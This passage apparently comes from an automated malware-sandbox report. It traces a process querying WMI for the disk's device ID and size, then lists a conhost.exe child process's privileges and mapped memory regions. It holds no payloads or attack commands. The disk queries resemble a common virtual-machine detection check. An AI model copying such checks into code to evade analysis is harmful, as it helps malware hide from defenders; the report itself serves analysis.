0x1390f0 [0190.131] IUnknown:Release (This=0x174a58) returned 0x1 [0190.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0190.137] GetCurrentThreadId () returned 0xfec [0190.137] IUnknown:AddRef (This=0x15c820) returned 0x3 [0190.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0190.137] GetCurrentThreadId () returned 0xfec [0190.137] IEnumWbemClassObject:Next (in: This=0x15c820, lTimeout=-1, uCount=0x1, apObjects=0x4deee958, puReturned=0x4deee950 | out: apObjects=0x4deee958*=0x180520, puReturned=0x4deee950*=0x1) returned 0x0 [0190.138] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x177e20 [0190.138] IUnknown:AddRef (This=0x180520) returned 0x2 [0190.139] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x184cf0 [0190.139] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x1826b0 [0190.139] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x163cf0 [0190.139] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x18cf50 [0190.139] WbemLocator:IUnknown:AddRef (This=0x164150) returned 0x3 [0190.139] IUnknown:AddRef (This=0x15c820) returned 0x4 [0190.139] IUnknown:QueryInterface (in: This=0x15c820, riid=0x7fffabac9960*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4deee838 | out: ppvObject=0x4deee838*=0x15c828) returned 0x0 [0190.139] IClientSecurity:QueryBlanket (in: This=0x15c828, pProxy=0x15c820, pAuthnSvc=0x4deee830, pAuthzSvc=0x4deee878, pServerPrincName=0x0, pAuthnLevel=0x4deee8a0, pImpLevel=0x4deee898, pAuthInfo=0x0, pCapabilites=0x4deee860 | out: pAuthnSvc=0x4deee830*=0xa, pAuthzSvc=0x4deee878*=0x0, pServerPrincName=0x0, pAuthnLevel=0x4deee8a0*=0x6, pImpLevel=0x4deee898*=0x3, pAuthInfo=0x0, pCapabilites=0x4deee860*=0x20) returned 0x0 [0190.139] IUnknown:Release (This=0x15c828) returned 0x4 [0190.139] WbemLocator:IUnknown:Release (This=0x164150) returned 0x2 [0190.139] WbemLocator:IUnknown:AddRef (This=0x164150) returned 0x3 [0190.139] IUnknown:Release (This=0x15c820) returned 0x3 [0190.139] SysStringLen (param_1="\\\\.\\root\\cimv2") returned 0xe [0190.139] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x15d440 [0190.139] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x166e30 [0190.140] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x18d050 [0190.140] IUnknown:AddRef (This=0x180520) returned 0x3 [0190.140] IUnknown:Release (This=0x180520) returned 0x2 [0190.140] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x4deee900 | out: pperrinfo=0x4deee900*=0x0) returned 0x1 [0190.140] IUnknown:Release (This=0x15c820) returned 0x2 [0190.140] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x4deee900 | out: pperrinfo=0x4deee900*=0x0) returned 0x1 [0190.142] LoadRegTypeLib (in: rguid=0x7fffabaceb10*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x4deee8d0*=0x0 | out: pptlib=0x4deee8d0*=0x138910) returned 0x0 [0190.143] ITypeLib:GetTypeInfoOfGuid (in: This=0x138910, GUID=0x7fffabac9a78*(Data1=0x269ad56a, Data2=0x8a67, Data3=0x4129, Data4=([0]=0xbc, [1]=0x8c, [2]=0x5, [3]=0x6, [4]=0xdc, [5]=0xfe, [6]=0x98, [7]=0x80)), ppTInfo=0x15d470 | out: ppTInfo=0x15d470*=0x174b08) returned 0x0 [0190.143] IUnknown:Release (This=0x138910) returned 0x4 [0190.143] IUnknown:AddRef (This=0x174b08) returned 0x2 [0190.143] DispGetIDsOfNames (in: ptinfo=0x174b08, rgszNames=0x166e60*="PNPDeviceID", cNames=0x1, rgdispid=0x167400 | out: rgdispid=0x167400*=-1) returned 0x80020006 [0190.147] IUnknown:AddRef (This=0x180520) returned 0x3 [0190.147] IWbemClassObject:Get (in: This=0x180520, wszName="PNPDeviceID", lFlags=0, pVal=0x0, pType=0x0, plFlavor=0x4deee810*=0 | out: pVal=0x0, pType=0x0, plFlavor=0x4deee810*=0) returned 0x0 [0190.147] IUnknown:Release (This=0x180520) returned 0x2 [0190.147] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x18c7d0 [0190.147] SysStringLen (param_1="PNPDeviceID") returned 0xb [0190.147] IUnknown:Release (This=0x174b08) returned 0x1 [0190.149] IUnknown:AddRef (This=0x174b08) returned 0x2 [0190.149] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0190.149] GetCurrentThreadId () returned 0xfec [0190.150] SysStringLen (param_1="PNPDeviceID") returned 0xb [0190.150] IWbemClassObject:Get (in: This=0x180520, wszName="PNPDeviceID", lFlags=0, pVal=0x4deee7e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x4deee840*=25165825, plFlavor=0x0 | out: pVal=0x4deee7e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="SCSI\\DISK&VEN_&PROD_ST250LT021/ST250\\4&305DAB9F&0&000000", varVal2=0x0), pType=0x4deee840*=8, plFlavor=0x0) returned 0x0 [0190.151] IUnknown:Release (This=0x174b08) returned 0x1 [0190.151] IUnknown:AddRef (This=0x174b08) returned 0x2 [0190.151] DispGetIDsOfNames (in: ptinfo=0x174b08, rgszNames=0x167310*="Size", cNames=0x1, rgdispid=0x1674f0 | out: rgdispid=0x1674f0*=-1) returned 0x80020006 [0190.152] _wcsicmp (_String1="PNPDeviceID", _String2="Size") returned -3 [0190.152] _wcsicmp (_String1="Size", _String2="PNPDeviceID") returned 3 [0190.152] IUnknown:AddRef (This=0x180520) returned 0x3 [0190.152] IWbemClassObject:Get (in: This=0x180520, wszName="Size", lFlags=0, pVal=0x0, pType=0x0, plFlavor=0x4deee810*=0 | out: pVal=0x0, pType=0x0, plFlavor=0x4deee810*=0) returned 0x0 [0190.152] IUnknown:Release (This=0x180520) returned 0x2 [0190.152] _wcsicmp (_String1="Size", _String2="PNPDeviceID") returned 3 [0190.152] ?WbemMemAlloc@CWin32DefaultArena@@SAPEAX_K@Z () returned 0x18c6d0 [0190.152] SysStringLen (param_1="Size") returned 0x4 [0190.152] IUnknown:Release (This=0x174b08) returned 0x1 [0190.152] IUnknown:AddRef (This=0x174b08) returned 0x2 [0190.153] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0190.153] GetCurrentThreadId () returned 0xfec [0190.153] SysStringLen (param_1="Size") returned 0x4 [0190.153] IWbemClassObject:Get (in: This=0x180520, wszName="Size", lFlags=0, pVal=0x4deee7e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x4deee840*=25165826, plFlavor=0x0 | out: pVal=0x4deee7e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="268432012800", varVal2=0x0), pType=0x4deee840*=21, plFlavor=0x0) returned 0x0 [0190.153] IUnknown:Release (This=0x174b08) returned 0x1 [0190.154] IUnknown:Release (This=0x180520) returned 0x1 [0190.154] WbemLocator:IUnknown:Release (This=0x164150) returned 0x2 [0190.154] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.154] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.154] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.154] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.154] IUnknown:Release (This=0x180520) returned 0x0 [0190.154] IUnknown:Release (This=0x174b08) returned 0x0 [0190.154] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.154] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.154] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.154] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.154] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.154] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.155] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0190.155] GetCurrentThreadId () returned 0xfec [0190.155] IUnknown:AddRef (This=0x15c820) returned 0x3 [0190.155] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0190.155] GetCurrentThreadId () returned 0xfec [0190.155] IEnumWbemClassObject:Next (in: This=0x15c820, lTimeout=-1, uCount=0x1, apObjects=0x4deee958, puReturned=0x4deee950 | out: apObjects=0x4deee958*=0x0, puReturned=0x4deee950*=0x0) returned 0x1 [0190.156] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x4deee900 | out: pperrinfo=0x4deee900*=0x0) returned 0x1 [0190.156] IUnknown:Release (This=0x15c820) returned 0x2 [0190.156] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x4deee900 | out: pperrinfo=0x4deee900*=0x0) returned 0x1 [0190.157] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.157] IUnknown:Release (This=0x15c820) returned 0x1 [0190.157] IUnknown:Release (This=0x15c820) returned 0x0 [0190.161] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.161] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.161] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.161] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.161] IUnknown:Release (This=0x174a58) returned 0x0 [0190.161] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.161] WbemLocator:IUnknown:Release (This=0x164150) returned 0x1 [0190.161] WbemLocator:IUnknown:Release (This=0x164150) returned 0x0 [0190.162] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.162] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.162] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.162] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.162] IUnknown:Release (This=0x1749a8) returned 0x0 [0190.162] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.163] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.163] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.163] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.164] IUnknown:Release (This=0x174848) returned 0x0 [0190.165] WbemLocator:IUnknown:Release (This=0x1735f0) returned 0x0 [0190.165] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.165] DllCanUnloadNow () returned 0x0 [0190.166] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.166] FreeLibrary (hLibModule=0x7fffcb600000) returned 1 [0190.166] ?WbemMemFree@CWin32DefaultArena@@SAHPEAX@Z () returned 0x1 [0190.167] free (_Block=0xa37670) Process: id = "2" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x65d64000" os_pid = "0x16b8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x1698" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "PXTHFFRYO7\\OqXZRaykm" bitness = "32" os_groups = "PXTHFFRYO7\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001bd08" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 308 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 309 start_va = 0x30000 end_va = 0x4cfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 310 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 311 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 312 start_va = 0x7ffe0000 end_va = 0x7ffe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 313 start_va = 0x7ff5fffc0000 end_va = 0x7ff5fffc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5fffc0000" filename = "" Region: id = 314 start_va = 0x7ff5fffd0000 end_va = 0x7ff5ffff2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5fffd0000" filename = "" Region: id = 315 start_va = 0x7ff722270000 end_va = 0x7ff722344fff monitored = 0 entry_point = 0x7ff72228e520 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 316 start_va = 0x7fffcca30000 end_va = 0x7fffccc23fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 317 start_va = 0x7ff5fdfb0000 end_va = 0x7ff5fffb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5fdfb0000" filename = "" Region: id = 318 start_va = 0x7ff4fdf90000 end_va = 0x7ff5fdfaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff4fdf90000" filename = "" Region: id = 319 start_va = 0x400000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 320 start_va = 0x7fffcb440000 end_va = 0x7fffcb4fcfff monitored = 0 entry_point = 0x7fffcb457070 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 321 start_va = 0x7fffca790000 end_va = 0x7fffcaa56fff monitored = 0 entry_point = 0x7fffca7a1bd0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 322 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 323 start_va = 0x7ff4fde90000 end_va = 0x7ff4fdf8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff4fde90000" filename = "" Region: id = 324 start_va = 0xd0000 end_va = 0x198fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 325 start_va = 0x7fffca560000 end_va = 0x7fffca5fcfff monitored = 0 entry_point = 0x7fffca575390 region_type = mapped_file name = "msvcp_win.dll" filename = "\\Windows\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll") Region: id = 326 start_va = 0x7fffca270000 end_va = 0x7fffca36ffff monitored = 0 entry_point = 0x7fffca285ac0 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 327 start_va = 0x550000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 328 start_va = 0x7fffcad80000 end_va = 0x7fffcae2dfff monitored = 0 entry_point = 0x7fffcadbb940 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 329 start_va = 0x7fffcb560000 end_va = 0x7fffcb5fdfff monitored = 0 entry_point = 0x7fffcb567850 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 330 start_va = 0x7fffcbb90000 end_va = 0x7fffcbee3fff monitored = 0 entry_point = 0x7fffcbc81d00 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 331 start_va = 0x7fffcc830000 end_va = 0x7fffcc952fff monitored = 0 entry_point = 0x7fffcc88da30 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 332 start_va = 0x7fffcb600000 end_va = 0x7fffcb6a9fff monitored = 0 entry_point = 0x7fffcb615470 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 333 start_va = 0x7fffcb2a0000 end_va = 0x7fffcb33afff monitored = 0 entry_point = 0x7fffcb2bc3e0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 334 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 335 start_va = 0x5d0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 336 start_va = 0x1a0000 end_va = 0x1a6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 337 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 338 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 339 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 340 start_va = 0x5d0000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 341 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 342 start_va = 0x7fffcb7a0000 end_va = 0x7fffcb93ffff monitored = 0 entry_point = 0x7fffcb7b7a10 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 343 start_va = 0x7fffca760000 end_va = 0x7fffca781fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "win32u.dll" filename = "\\Windows\\System32\\win32u.dll" (normalized: "c:\\windows\\system32\\win32u.dll") Region: id = 344 start_va = 0x7fffcc960000 end_va = 0x7fffcc989fff monitored = 0 entry_point = 0x7fffcc9648d0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 345 start_va = 0x7fffca370000 end_va = 0x7fffca479fff monitored = 0 entry_point = 0x7fffca3a1300 region_type = mapped_file name = "gdi32full.dll" filename = "\\Windows\\System32\\gdi32full.dll" (normalized: "c:\\windows\\system32\\gdi32full.dll") Region: id = 346 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 347 start_va = 0x1e0000 end_va = 0x1e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 348 start_va = 0x400000 end_va = 0x42dfff monitored = 0 entry_point = 0x4014d0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 349 start_va = 0x450000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 350 start_va = 0x6c0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 351 start_va = 0x7fffcb940000 end_va = 0x7fffcb96ffff monitored = 0 entry_point = 0x7fffcb9414d0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 352 start_va = 0x8c0000 end_va = 0xa40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 353 start_va = 0xa50000 end_va = 0x1e50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a50000" filename = "" Region: id = 354 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "conhost.exe.mui" filename = "\\Windows\\System32\\en-US\\Conhost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\conhost.exe.mui") Region: id = 355 start_va = 0x7fffcc090000 end_va = 0x7fffcc7c0fff monitored = 0 entry_point = 0x7fffcc19e6e0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 356 start_va = 0x7fffc7c60000 end_va = 0x7fffc7cfefff monitored = 0 entry_point = 0x7fffc7c89120 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 357 start_va = 0x1e60000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 358 start_va = 0x1f20000 end_va = 0x2257fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 359 start_va = 0x2260000 end_va = 0x235ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 360 start_va = 0x2360000 end_va = 0x255ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002360000" filename = "" Region: id = 361 start_va = 0x2560000 end_va = 0x295ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 362 start_va = 0x400000 end_va = 0x403fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 363 start_va = 0x550000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 364 start_va = 0x1e60000 end_va = 0x1edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 365 start_va = 0x1f10000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f10000" filename = "" Region: id = 366 start_va = 0x410000 end_va = 0x410fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 367 start_va = 0x7fffcaa90000 end_va = 0x7fffcaba4fff monitored = 0 entry_point = 0x7fffcaaceb60 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 368 start_va = 0x7fffcb350000 end_va = 0x7fffcb424fff monitored = 0 entry_point = 0x7fffcb36d190 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 369 start_va = 0x2960000 end_va = 0x2a87fff monitored = 0 entry_point = 0x2986140 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 370 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 371 start_va = 0x2960000 end_va = 0x2a41fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002960000" filename = "" Region: id = 372 start_va = 0x420000 end_va = 0x423fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 373 start_va = 0x2a50000 end_va = 0x2c48fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a50000" filename = "" Region: id = 374 start_va = 0x430000 end_va = 0x434fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 375 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 376 start_va = 0x650000 end_va = 0x656fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 377 start_va = 0x660000 end_va = 0x660fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 378 start_va = 0x2c50000 end_va = 0x3141fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c50000" filename = "" Region: id = 379 start_va = 0x3150000 end_va = 0x43affff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 380 start_va = 0x7fffc0700000 end_va = 0x7fffc07adfff monitored = 0 entry_point = 0x7fffc074b570 region_type = mapped_file name = "textshaping.dll" filename = "\\Windows\\System32\\TextShaping.dll" (normalized: "c:\\windows\\system32\\textshaping.dll") Region: id = 381 start_va = 0x670000 end_va = 0x671fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 382 start_va = 0x7fffb7b90000 end_va = 0x7fffb7e29fff monitored = 0 entry_point = 0x7fffb7c296c0 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_b555e41d4684ddec\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_b555e41d4684ddec\\comctl32.dll") Region: id = 383 start_va = 0x680000 end_va = 0x680fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 384 start_va = 0x690000 end_va = 0x691fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 385 start_va = 0x7fffc8010000 end_va = 0x7fffc803dfff monitored = 0 entry_point = 0x7fffc80142d0 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 386 start_va = 0x43b0000 end_va = 0x44f4fff monitored = 0 entry_point = 0x440a9b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 387 start_va = 0x7fffc8120000 end_va = 0x7fffc8132fff monitored = 0 entry_point = 0x7fffc8123f60 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 388 start_va = 0x7fffca480000 end_va = 0x7fffca4fefff monitored = 0 entry_point = 0x7fffca4b73e0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 389 start_va = 0x680000 end_va = 0x680fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 390 start_va = 0x7fffc2e90000 end_va = 0x7fffc2f8bfff monitored = 0 entry_point = 0x7fffc2ecae50 region_type = mapped_file name = "textinputframework.dll" filename = "\\Windows\\System32\\TextInputFramework.dll" (normalized: 